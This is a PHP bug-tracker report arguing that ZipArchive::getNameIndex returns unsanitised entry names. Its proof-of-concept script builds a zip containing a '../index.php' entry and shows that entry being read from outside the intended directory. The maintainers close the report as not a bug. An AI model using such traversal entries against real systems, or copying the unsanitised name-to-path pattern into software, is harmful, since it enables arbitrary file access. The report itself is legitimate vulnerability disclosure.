|
php.net | support | documentation | report a bug | advanced search | search howto | statistics | random bug | login |
PatchesPull RequestsHistoryAllCommentsChangesGit/SVN commits
[2018-10-26 10:16 UTC] cmb@php.net
[2018-10-26 10:59 UTC] emil dot virkki at gmail dot com
[2018-10-26 12:27 UTC] cmb@php.net
-Status: Open
+Status: Verified
-Type: Security
+Type: Documentation Problem
[2018-10-26 12:27 UTC] cmb@php.net
[2018-10-26 20:11 UTC] stas@php.net
-Status: Verified
+Status: Not a bug
[2018-10-26 20:11 UTC] stas@php.net
|
|||||||||||||||||||||||||||
Copyright © 2001-2025 The PHP GroupAll rights reserved. |
Last updated: Sat Dec 13 03:00:02 2025 UTC |
Description: ------------ ZipArchive::extractTo prevents extracting files outside the destination directory. However, ZipArchive::getNameIndex will return the name without any such protections. This allows an attacker to craft a Zip archive that can allow reading, writing or deleting arbitrary files depending on how the return value of ZipArchive::getNameIndex is used. If this is intentional behavior, the security aspects are not indicated in the documentation. Test script: --------------- <?php $zip = new ZipArchive(); $zip->open("test.zip", ZipArchive::CREATE); $zip->addFromString("subdir2/legit.txt", "Legit file\n"); $zip->addFromString("../index.php", "Attacker file\n"); $zip->close(); mkdir('subdir'); $zip = new ZipArchive(); $zip->open("test.zip"); for($i = 0; $i < $zip->numFiles; $i++) { $name = $zip->getNameIndex($i); echo "Extract $name\n"; $dst = __DIR__ . '/subdir'; if($zip->extractTo($dst, $name)) { echo "The file contains:\n"; echo file_get_contents($dst . '/' . $name); } } $zip->close(); Expected result: ---------------- Extract subdir2/legit.txt The file contains: Legit file Extract index.php The file contains: Attacker file Actual result: -------------- Extract subdir2/legit.txt The file contains: Legit file Extract ../index.php The file contains: <?php $zip = new ZipArchive(); $zip->open("test.zip", ZipArchive::CREATE); $zip->addFromString("subdir2/legit.txt", "Legit file\n"); $zip->addFromString("../index.php", "Attacker file\n"); $zip->close(); mkdir('subdir'); $zip = new ZipArchive(); $zip->open("test.zip"); for($i = 0; $i < $zip->numFiles; $i++) { $name = $zip->getNameIndex($i); echo "Extract $name\n"; $dst = __DIR__ . '/subdir'; if($zip->extractTo($dst, $name)) { echo "The file contains:\n"; echo file_get_contents($dst . '/' . $name); } } $zip->close();